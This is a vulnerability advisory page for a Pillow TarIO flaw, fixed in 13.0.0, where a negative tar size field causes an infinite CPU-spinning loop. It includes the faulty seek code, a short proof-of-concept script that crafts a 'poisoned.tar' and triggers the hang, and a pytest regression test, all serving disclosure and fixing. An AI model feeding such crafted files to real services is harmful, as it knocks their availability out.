7.1high
Pillow: TarIO negative size field causes infinite CPU-spin loop
- Severity
- 7.1high CVSS:4.0 by GitHub_M
- Exploit likelihood
- 0.40% (higher than 35% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-3j72-p6qg-6xp7BIT-PILLOW-2026-96642PYSEC-2026-4341
Description
Pillow is a Python imaging library. Prior to 13.0.0, the TarIO initializer in src/PIL/TarIO.py accepts a negative octal member size and computes a backward seek that returns to the same 512-byte header. When the requested member name does not match, the parser repeatedly reads that header, consumes a full CPU core, and never returns. TarIO is reached only when an application directly uses PIL.TarIO.TarIO rather than the default Image.open() path. This issue is fixed in version 13.0.0.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| python-pillow Pillow | < 13.0.0 | CVE List |
| pillow (PyPI) | before 13.0.0 | GitHub Advisory Database, PyPA Advisory Database |
| python pillow | before 13.0.0 | NVD |
| pillow (Bitnami) | before 13.0.0 | Bitnami Vulnerability Database |
All scores
| GitHub_M | 7.1high CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N |
| GitHub | high CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N |
| NVD | 6.5medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H |
| PyPA Advisory Database | 6.5medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H |
| Bitnami Vulnerability Database | high rating |
Classification
SSVC (CISA-ADP): exploitation poc, automatable no, technical impact partial.
What each source says
CVE List
Pillow is a Python imaging library. Prior to 13.0.0, the TarIO initializer in src/PIL/TarIO.py accepts a negative octal member size and computes a backward seek that returns to the same 512-byte header. When the requested member name does not match, the parser repeatedly reads that header, consumes a full CPU core, and never returns. TarIO is reached only when an application directly uses PIL.TarIO.TarIO rather than the default Image.open() path. This issue is fixed in version 13.0.0.
GitHub Advisory Database
Summary
TarIO.__init__ does not check that a tar header's size field is positive. A crafted header with a negative size makes it seek backward onto itself. This causes an infinite loop that uses 100% CPU and never returns.
Details
TarIO.__init__ reads 512-byte tar headers one at a time, looking for a member with a given name. For each header it reads the size field and skips ahead to the next header:
size = int(s[124:135], 8)
...
self.fh.seek((size + 511) & (~511), io.SEEK_CUR)
There is no check that size is zero or more. A tar header can set this field to a negative octal value. For size = -512, the seek offset comes out to exactly -512, which cancels the 512 bytes the loop had just read. The file position goes right back to where this loop step started.
The loop only stops on end of file or when a header name starts with a null byte. Neither happens, since the same header keeps showing up again. The loop never ends on its own.
Steps to reproduce
This uses Tests/images/hopper.tar, a normal file already in the Pillow test suite. It only changes the size field of the first header.
from PIL import TarIO
with open("Tests/images/hopper.tar", "rb") as f:
data = bytearray(f.read())
# Set the size field (bytes 124 to 135) to a negative octal value.
# Octal 1000 is 512, so this is size = -512.
data[124:135] = b" -00001000"
with open("poisoned.tar", "wb") as f:
f.write(data)
# "does-not-exist" does not match the header name, so TarIO must
# keep scanning. This call never returns.
TarIO.TarIO("poisoned.tar", "does-not-exist")
We confirmed this with ps. The process sits at 98 to 100% CPU and never exits on its own. It only stops if killed from outside.
A pytest version of this, using pytest-timeout so the test does not hang forever, is below. On the current code it fails with Failed: Timeout (>3.0s) from pytest-timeout.
from __future__ import annotations
from pathlib import Path
import pytest
from PIL import TarIO
SOURCE_TAR = "Tests/images/hopper.tar"
@pytest.mark.timeout(3)
def test_negative_size_field_does_not_hang(tmp_path: Path) -> None:
with open(SOURCE_TAR, "rb") as f:
data = bytearray(f.read())
data[124:135] = b" -00001000" # octal 1000 = decimal 512, negated
poisoned_tar = tmp_path / "poisoned.tar"
poisoned_tar.write_bytes(data)
with pytest.raises((OSError, ValueError)):
with TarIO.TarIO(str(poisoned_tar), "does-not-exist"):
pass
Impact
- Availability: an attacker who can get a crafted tar file passed to TarIO.TarIO() can hang the process at full CPU with a file just over 512 bytes.
- Confidentiality: none.
- Integrity: none.
- TarIO is a small helper class. It is not used by Image.open() and is not on the default path most Pillow users hit. An app has to call PIL.TarIO.TarIO(path, member_name) directly for this to matter, which some apps do to read an image out of a tar archive.
References
| https://github.com/python-pillow/Pillow/security/advisories/GHSA-3j72-p6qg-6xp7 | advisory, exploit, vendor-advisory, web | |
| https://github.com/python-pillow/Pillow/pull/10012 | issue-tracking, report, web | |
| https://github.com/python-pillow/Pillow/commit/19b695fdcc5eddc37374e2b1645fc4185edaf71d | fix, patch, web | |
| https://github.com/python-pillow/Pillow/releases/tag/13.0.0 | advisory, article, release-notes, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2026-96642 | advisory, web | |
| https://github.com/python-pillow/Pillow | package | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-96642 changed 2026-10-30 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-3j72-p6qg-6xp7 changed 2026-10-29 | CC-BY-4.0 |
| NVD | CVE-2026-96642 changed 2026-10-30 | Public domain |
| PyPA Advisory Database | PYSEC-2026-4341 changed 2026-10-29 | CC-BY-4.0 |
| Bitnami Vulnerability Database | BIT-PILLOW-2026-96642 changed 2026-10-29 | Apache-2.0 |